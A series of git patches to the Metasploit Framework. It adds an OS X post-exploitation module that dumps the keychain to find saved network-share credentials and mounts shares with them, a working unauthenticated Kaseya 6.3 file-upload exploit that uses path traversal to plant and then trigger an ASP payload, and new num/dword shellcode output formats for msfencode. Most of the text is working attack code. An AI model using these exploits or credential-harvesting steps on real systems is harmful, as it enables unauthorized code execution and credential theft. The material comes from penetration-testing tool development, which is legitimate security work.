From 049111cd94628d59969e9f43c74b6b5af577adba Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 11:21:39 +0100 Subject: [PATCH 01/61] In progress --- modules/post/osx/manage/mount_share.rb | 134 +++++++++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/post/osx/manage/mount_share.rb diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb new file mode 100644 index 0000000000..fb04cc9810 --- /dev/null +++ b/modules/post/osx/manage/mount_share.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + + def initialize(info={}) + super( update_info( info, + 'Name' => 'OSX ', + 'Description' => %q{ + This module lists VPN connections and tries to connect to them using stored credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Toth ' + ], + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Actions' => [ + [ 'LIST', { 'Description' => 'Show a list of VPN connections' } ], + [ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ], + [ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ] + ], + 'DefaultAction' => 'LIST' + )) + + register_options( + [ + OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']), + OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']), + OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup']) + ], self.class) + + end + + STR_CONNECTED = '* (Connected)' + STR_DISCONNECTED = '* (Disconnected)' + + def run + fail_with("Invalid action") if action.nil? + + if action.name == 'LIST' + data = get_vpn_list() + connected_names = parse_vpn_connection_names(data, true) + disconnected_names = parse_vpn_connection_names(data, false) + if connected_names.length > 0 + print_status("VPN Connections Status: UP") + connected_names.each do |vpn_name| + print_good(' ' + vpn_name) + end + end + if disconnected_names.length > 0 + print_status("VPN Connections Status: DOWN") + disconnected_names.each do |vpn_name| + print_good(' ' + vpn_name) + end + end + elsif action.name == 'CONNECT' + connect_vpn(true) + elsif action.name == 'DISCONNECT' + connect_vpn(false) + end + end + + def get_vpn_list() + vprint_status(datastore['SCUTIL_PATH'].shellescape + " --nc list") + data = cmd_exec(datastore['SCUTIL_PATH'].shellescape + " --nc list") + return data + end + + def parse_vpn_connection_names(data, show_up) + lines = data.split(/\n/).map(&:strip) + connection_names = Array.new() + + lines.each do |line| + if show_up && line.start_with?(STR_CONNECTED) + connection_names.push(line.split('"')[1]) + elsif !show_up && line.start_with?(STR_DISCONNECTED) + connection_names.push(line.split('"')[1]) + end + end + return connection_names + end + + def connect_vpn(up) + vpn_name = datastore['VPN_CONNECTION'] + if up + header = "Connecting to VPN: #{vpn_name}" + connection_state = STR_CONNECTED + connection_unnecessary = "#{vpn_name} already connected" + else + header = "Disconnecting from VPN: #{vpn_name}" + connection_state = STR_DISCONNECTED + connection_unnecessary = "#{vpn_name} already disconnected" + end + + print_status(header) + data = get_vpn_list() + lines = data.split(/\n/).map(&:strip) + + identifier = nil + lines.each do |line| + if line.split('"')[1] == vpn_name + if line.start_with?(connection_state) + print_status(connection_unnecessary) + return + end + identifier = line.split(' ')[2] + break + end + end + + if identifier.nil? + print_error("#{vpn_name} not found") + return + end + + if up + cmd = datastore['NETWORKSETUP_PATH'].shellescape + " -connectpppoeservice '#{vpn_name}'" + else + cmd = datastore['SCUTIL_PATH'].shellescape + " --nc stop #{identifier}" + end + vprint_status(cmd) + cmd_exec(cmd) + end +end From 76660b858c80e399e3e0a93d92316109b57d6f9b Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 12:32:49 +0100 Subject: [PATCH 02/61] In progress --- modules/post/osx/manage/mount_share.rb | 118 +++++++++---------------- 1 file changed, 40 insertions(+), 78 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index fb04cc9810..a48cda8d20 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'OSX ', + 'Name' => 'OSX Network Share Mounter', 'Description' => %q{ - This module lists VPN connections and tries to connect to them using stored credentials. + This module lists saved network shares and tries to connect to them using stored credentials. }, 'License' => MSF_LICENSE, 'Author' => @@ -25,109 +25,71 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ - [ 'LIST', { 'Description' => 'Show a list of VPN connections' } ], - [ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ], - [ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ] + [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], + [ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ], + [ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ] ], 'DefaultAction' => 'LIST' )) register_options( [ - OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']), - OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']), - OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup']) + OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']), + OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), + OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), + OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) ], self.class) end - STR_CONNECTED = '* (Connected)' - STR_DISCONNECTED = '* (Disconnected)' - def run fail_with("Invalid action") if action.nil? if action.name == 'LIST' - data = get_vpn_list() - connected_names = parse_vpn_connection_names(data, true) - disconnected_names = parse_vpn_connection_names(data, false) - if connected_names.length > 0 - print_status("VPN Connections Status: UP") - connected_names.each do |vpn_name| - print_good(' ' + vpn_name) - end - end - if disconnected_names.length > 0 - print_status("VPN Connections Status: DOWN") - disconnected_names.each do |vpn_name| - print_good(' ' + vpn_name) + data = get_share_list() + if data.length == 0 + print_status("No Network Share credentials were found in the keyrings") + else + print_status("Protocol\tShare Name") + data.each do |line| + print_good(line) end end elsif action.name == 'CONNECT' - connect_vpn(true) + connect() elsif action.name == 'DISCONNECT' connect_vpn(false) end end - def get_vpn_list() - vprint_status(datastore['SCUTIL_PATH'].shellescape + " --nc list") - data = cmd_exec(datastore['SCUTIL_PATH'].shellescape + " --nc list") - return data - end - - def parse_vpn_connection_names(data, show_up) - lines = data.split(/\n/).map(&:strip) - connection_names = Array.new() - - lines.each do |line| - if show_up && line.start_with?(STR_CONNECTED) - connection_names.push(line.split('"')[1]) - elsif !show_up && line.start_with?(STR_DISCONNECTED) - connection_names.push(line.split('"')[1]) + def get_share_list() + vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") + data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") + # Grep for desc srvr and ptcl + tmp = Array.new() + data.split("\n").each do |line| + unless line !~ /desc|srvr|ptcl/ + tmp.push(line) end end - return connection_names - end - - def connect_vpn(up) - vpn_name = datastore['VPN_CONNECTION'] - if up - header = "Connecting to VPN: #{vpn_name}" - connection_state = STR_CONNECTED - connection_unnecessary = "#{vpn_name} already connected" - else - header = "Disconnecting from VPN: #{vpn_name}" - connection_state = STR_DISCONNECTED - connection_unnecessary = "#{vpn_name} already disconnected" - end - - print_status(header) - data = get_vpn_list() - lines = data.split(/\n/).map(&:strip) - - identifier = nil - lines.each do |line| - if line.split('"')[1] == vpn_name - if line.start_with?(connection_state) - print_status(connection_unnecessary) - return - end - identifier = line.split(' ')[2] - break + # Go through the list, find the saved Network Password descriptions + # and their corresponding ptcl and srvr attributes + list = Array.new() + for x in 0..tmp.length-1 + if tmp[x] =~ /"desc"="Network Password"/ + protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') + server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') + list.push(protocol + "\t" + server) end end + return list.sort + end - if identifier.nil? - print_error("#{vpn_name} not found") - return - end - - if up - cmd = datastore['NETWORKSETUP_PATH'].shellescape + " -connectpppoeservice '#{vpn_name}'" - else - cmd = datastore['SCUTIL_PATH'].shellescape + " --nc stop #{identifier}" - end + def connect() + share_name = datastore['SHARE'].shellescape + protocol = datastore['PROTOCOL'].shellescape + print_status("Connecting to #{protocol}://#{share_name}") + cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" vprint_status(cmd) cmd_exec(cmd) end From 0c096c10fb31eac1f04330c3a311344f9168f64b Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 17:03:38 +0100 Subject: [PATCH 03/61] Submitting first version for pull request --- modules/post/osx/manage/mount_share.rb | 72 +++++++++++++++++++------- 1 file changed, 53 insertions(+), 19 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index a48cda8d20..0cf1ac3415 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'OSX Network Share Mounter', 'Description' => %q{ - This module lists saved network shares and tries to connect to them using stored credentials. + This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges. }, 'License' => MSF_LICENSE, 'Author' => @@ -26,15 +26,15 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], - [ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ], - [ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ] + [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ], + [ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ] ], 'DefaultAction' => 'LIST' )) register_options( [ - OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']), + OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']), OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) @@ -46,37 +46,51 @@ class Metasploit3 < Msf::Post fail_with("Invalid action") if action.nil? if action.name == 'LIST' - data = get_share_list() - if data.length == 0 + saved_shares = get_share_list + if saved_shares.length == 0 print_status("No Network Share credentials were found in the keyrings") else + print_status("Network shares saved in keyrings:") print_status("Protocol\tShare Name") - data.each do |line| + saved_shares.each do |line| print_good(line) end end - elsif action.name == 'CONNECT' - connect() - elsif action.name == 'DISCONNECT' - connect_vpn(false) + mounted_shares = get_mounted_list + if mounted_shares.length == 0 + print_status("No volumes found in /Volumes") + else + print_status("Mounted Volumes:") + mounted_shares.each do |line| + print_good(line) + end + end + elsif action.name == 'MOUNT' + mount + elsif action.name == 'UNMOUNT' + unmount end end - def get_share_list() + def get_share_list vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") # Grep for desc srvr and ptcl - tmp = Array.new() - data.split("\n").each do |line| + tmp = [] + lines = data.lines + lines.each do |line| + line.strip! unless line !~ /desc|srvr|ptcl/ tmp.push(line) end end # Go through the list, find the saved Network Password descriptions # and their corresponding ptcl and srvr attributes - list = Array.new() + list = [] for x in 0..tmp.length-1 - if tmp[x] =~ /"desc"="Network Password"/ + if tmp[x] =~ /"desc"="Network Password"/ && x < tmp.length-3 + # Remove everything up to the double-quote after the equal sign, + # and also the trailing double-quote protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') list.push(protocol + "\t" + server) @@ -85,12 +99,32 @@ class Metasploit3 < Msf::Post return list.sort end - def connect() - share_name = datastore['SHARE'].shellescape - protocol = datastore['PROTOCOL'].shellescape + def get_mounted_list + vprint_status("ls /Volumes") + data = cmd_exec("ls /Volumes") + list = [] + lines = data.lines + lines.each do |line| + line.strip! + list << line + end + return list.sort + end + + def mount + share_name = datastore['VOLUME'] + protocol = datastore['PROTOCOL'] print_status("Connecting to #{protocol}://#{share_name}") cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" vprint_status(cmd) cmd_exec(cmd) end + + def unmount + share_name = datastore['VOLUME'] + print_status("Disconnecting from #{share_name}") + cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'" + vprint_status(cmd) + cmd_exec(cmd) + end end From 636fdfe2d2bb0568e2fe0910ab9326ff0e5efb2a Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Mon, 18 Nov 2013 14:23:34 +1300 Subject: [PATCH 04/61] Added Kaseya uploadImage exploit. --- .../http/kaseya_uploadimage_file_upload.rb | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb new file mode 100644 index 0000000000..825c24827e --- /dev/null +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -0,0 +1,93 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaseya uploadImage Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability found in Kaseya 6.3.0.0 + A malicious user can upload a file to an arbitrary directory without authentication, which can result in arbitrary code execution. +Code executed in this manner runs under the IUSR account. + }, + 'Author' => + [ + 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Arch' => ARCH_x86, + 'Targets' => + [ + [ 'Kaseya KServer / Windows', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'some point....')) + + register_options( + [ + Opt::RPORT(80), Opt::RHOST() + ], self.class) + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp') + }) + + if not res or res.code != 200 + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Appears + end + + def exploit + peer = "#{rhost}:#{rport}" + + @payload_name = "#{rand_text_alpha_lower(8)}.asp" + exe = generate_payload_exe + asp = Msf::Util::EXE.to_exe_asp(exe) + + data = Rex::MIME::Message.new + data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"#{payload_name}\"") + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\#{payload_name}'), + 'data' => data, + 'headers' => { + 'ctype' => 'multipart/form-data; boundary=#{data.bound}' + } + }) + if not res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_raw({ + 'uri' => normalize_uri(@payload_name), + 'method' => 'GET' + }) + end +end From 60a245b0c37d529bc3f1cf7b96d21fff08ddbb1d Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Mon, 18 Nov 2013 14:49:03 +1300 Subject: [PATCH 05/61] Fix the arch declaration in uploaded module. --- .../http/kaseya_uploadimage_file_upload.rb | 62 ++++++++++++------- 1 file changed, 41 insertions(+), 21 deletions(-) mode change 100644 => 100755 modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb old mode 100644 new mode 100755 index 825c24827e..11fd17e77b --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -24,7 +24,7 @@ Code executed in this manner runs under the IUSR account. }, 'Author' => [ - 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + 'Thomas Hibbert' # cartel ], 'License' => MSF_LICENSE, 'References' => @@ -35,7 +35,7 @@ Code executed in this manner runs under the IUSR account. 'BadChars' => "\x00", }, 'Platform' => 'win', - 'Arch' => ARCH_x86, + 'Arch' => ARCH_X86, 'Targets' => [ [ 'Kaseya KServer / Windows', {} ], @@ -62,6 +62,21 @@ Code executed in this manner runs under the IUSR account. return Exploit::CheckCode::Appears end + def get_cookie + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("SystemTab", "uploadImage.asp") + }) + + if res and res.headers['Set-Cookie'] + cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + else + fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue") + end + + cookie + end + def exploit peer = "#{rhost}:#{rport}" @@ -69,25 +84,30 @@ Code executed in this manner runs under the IUSR account. exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_asp(exe) - data = Rex::MIME::Message.new - data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"#{payload_name}\"") + post_data = Rex::MIME::Message.new + post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"..\\#{@payload_name}\"") - res = send_request_raw({ - 'method' => 'POST', - 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\#{payload_name}'), - 'data' => data, - 'headers' => { - 'ctype' => 'multipart/form-data; boundary=#{data.bound}' - } - }) - if not res or res.code != 200 - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") - end - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_raw({ - 'uri' => normalize_uri(@payload_name), - 'method' => 'GET' - }) + data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + cookie = get_cookie + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp?filename=..\..\..\..\\'+@payload_name), + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie + }) + + if not res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(@payload_name), + 'method' => 'GET' + }) end -end + end + From 26a5e3726655c265f0b1416da43a953e88864d47 Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Wed, 20 Nov 2013 12:27:22 +1300 Subject: [PATCH 06/61] Use MSF::Exploit:FileDropper to register the uploaded file for cleanup. --- .../http/kaseya_uploadimage_file_upload.rb | 103 +++++++++--------- 1 file changed, 50 insertions(+), 53 deletions(-) mode change 100755 => 100644 modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb old mode 100755 new mode 100644 index 11fd17e77b..0a69792a03 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -1,66 +1,62 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Kaseya uploadImage Arbitrary File Upload', - 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability found in Kaseya 6.3.0.0 - A malicious user can upload a file to an arbitrary directory without authentication, which can result in arbitrary code execution. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaseya uploadImage Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability found in Kaseya 6.3.0.0 + A malicious user can upload a file to an arbitrary directory without authentication, which can result in arbitrary code execution. Code executed in this manner runs under the IUSR account. - }, - 'Author' => - [ - 'Thomas Hibbert' # cartel - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => - [ + }, + 'Author' => + [ + 'Thomas Hibbert' # cartel + ], + 'License' => MSF_LICENSE, + 'References' => [ 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf' ], + 'Payload' => + { + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ [ 'Kaseya KServer / Windows', {} ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'some point....')) + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 18 2013')) - register_options( - [ + register_options( + [ Opt::RPORT(80), Opt::RHOST() - ], self.class) - end + ], self.class) + end - def check - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri('SystemTab','uploadImage.asp') - }) + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('SystemTab','uploadImage.asp') + }) - if not res or res.code != 200 - return Exploit::CheckCode::Unknown - end + if not res or res.code != 200 + return Exploit::CheckCode::Unknown + end - return Exploit::CheckCode::Appears - end + return Exploit::CheckCode::Appears + end def get_cookie res = send_request_cgi({ @@ -77,12 +73,12 @@ Code executed in this manner runs under the IUSR account. cookie end - def exploit + def exploit peer = "#{rhost}:#{rport}" - + @payload_name = "#{rand_text_alpha_lower(8)}.asp" exe = generate_payload_exe - asp = Msf::Util::EXE.to_exe_asp(exe) + asp = Msf::Util::EXE.to_exe_asp(exe) post_data = Rex::MIME::Message.new post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"..\\#{@payload_name}\"") @@ -99,15 +95,16 @@ Code executed in this manner runs under the IUSR account. 'cookie' => cookie }) + register_files_for_cleanup(@payload_name) + if not res or res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") end - + print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_cgi({ 'uri' => normalize_uri(@payload_name), 'method' => 'GET' }) - end + end end - From c76fa32345ed74c1cc291b22b01f6a4e02580c4d Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Wed, 20 Nov 2013 12:53:21 +1300 Subject: [PATCH 07/61] Fixed reference format --- .../exploits/windows/http/kaseya_uploadimage_file_upload.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb index 0a69792a03..3c84875dde 100644 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -26,10 +26,8 @@ Code executed in this manner runs under the IUSR account. 'Thomas Hibbert' # cartel ], 'License' => MSF_LICENSE, - 'References' => [ 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf' ], - 'Payload' => - { - }, + 'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']], + 'Payload' => {}, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => From 742c52711a7fb1e2c3b5259835c870b5885094b1 Mon Sep 17 00:00:00 2001 From: corelanc0d3r Date: Wed, 20 Nov 2013 22:36:17 +0100 Subject: [PATCH 08/61] added 2 new output types for msfencode: num and dword --- lib/msf/base/simple/buffer.rb | 12 +++++++-- lib/rex/text.rb | 46 +++++++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index fe34bfbd08..95fba9d69f 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -16,11 +16,15 @@ module Buffer # # Serializes a buffer to a provided format. The formats supported are raw, - # ruby, perl, bash, c, js_be, js_le, java and psh + # num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh # def self.transform(buf, fmt = "ruby") case fmt when 'raw' + when 'num' + buf = Rex::Text.to_num(buf) + when 'dword', 'dw' + buf = Rex::Text.to_dword(buf) when 'python', 'py' buf = Rex::Text.to_python(buf) when 'ruby', 'rb' @@ -54,11 +58,13 @@ module Buffer # # Creates a comment using the supplied format. The formats supported are - # raw, ruby, perl, bash, js_be, js_le, c, and java. + # raw, ruby, python, perl, bash, js_be, js_le, c, and java. # def self.comment(buf, fmt = "ruby") case fmt when 'raw' + when 'num', 'dword', 'dw' + buf = Rex::Text.to_num_comment(buf) when 'ruby', 'rb', 'python', 'py' buf = Rex::Text.to_ruby_comment(buf) when 'perl', 'pl' @@ -85,6 +91,8 @@ module Buffer # def self.transform_formats ['raw', + 'num', + 'dword','dw', 'ruby','rb', 'perl','pl', 'bash','sh', diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 144ef80a67..48936d5b32 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -115,6 +115,52 @@ module Text return hexify(str, wrap, '"', '" +', "#{name} = \n", '"') end + # + # Creates a comma separated list of numbers + # + def self.to_num(str, wrap = DefaultWrap) + code = str.unpack('C*') + buff = "" + 0.upto(code.length-1) do |byte| + if(byte % 15 == 0) and (buff.length > 0) + buff << "\r\n" + end + buff << sprintf('0x%.2x, ', code[byte]) + end + # strip , at the end + buff = buff.chomp(', ') + buff << "\r\n" + return buff + end + + # + # Creates a comma separated list of dwords + # + def self.to_dword(str, wrap = DefaultWrap) + code = str + alignnr = str.length % 4 + if (alignnr > 0) + code << "\x00" * (4 - alignnr) + end + codevalues = Array.new + code.split("").each_slice(4) do |chars4| + chars4 = chars4.join("") + dwordvalue = chars4.unpack('*V') + codevalues.push(dwordvalue[0]) + end + buff = "" + 0.upto(codevalues.length-1) do |byte| + if(byte % 8 == 0) and (buff.length > 0) + buff << "\r\n" + end + buff << sprintf('0x%.8x, ', codevalues[byte]) + end + # strip , at the end + buff = buff.chomp(', ') + buff << "\r\n" + return buff + end + # # Creates a ruby-style comment # From 0ea0dc168c5a81250fe091202af62b59c2eb8130 Mon Sep 17 00:00:00 2001 From: corelanc0d3r Date: Wed, 20 Nov 2013 23:10:55 +0100 Subject: [PATCH 09/61] set _comment method to js for num and dword --- lib/msf/base/simple/buffer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 95fba9d69f..35b4682f71 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -64,7 +64,7 @@ module Buffer case fmt when 'raw' when 'num', 'dword', 'dw' - buf = Rex::Text.to_num_comment(buf) + buf = Rex::Text.to_js_comment(buf) when 'ruby', 'rb', 'python', 'py' buf = Rex::Text.to_ruby_comment(buf) when 'perl', 'pl' From 66edfe968d5b01a3bd8757b435a0b50ff74b0af9 Mon Sep 17 00:00:00 2001 From: corelanc0d3r Date: Thu, 21 Nov 2013 00:57:08 +0100 Subject: [PATCH 10/61] Sorting output --- lib/msf/base/simple/buffer.rb | 2 +- lib/msf/util/exe.rb | 2 +- msfvenom | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 35b4682f71..eae124d5aa 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -105,7 +105,7 @@ module Buffer 'powershell','ps1', 'vbscript', 'vbapplication' - ] + ].sort end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3b0db149dd..091a40e2eb 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1731,7 +1731,7 @@ def self.to_vba(framework,code,opts={}) [ 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac' - ] + ].sort end # diff --git a/msfvenom b/msfvenom index daa0d7d3ff..4d258fda18 100755 --- a/msfvenom +++ b/msfvenom @@ -147,9 +147,9 @@ class MsfVenom opt.on_tail('--help-formats', String, "List available formats") do init_framework(:module_types => []) msg = "Executable formats\n" + - "\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" + + "\t" + ::Msf::Util::EXE.to_executable_fmt_formats.sort.join(", ") + "\n" + "Transform formats\n" + - "\t" + ::Msf::Simple::Buffer.transform_formats.join(", ") + "\t" + 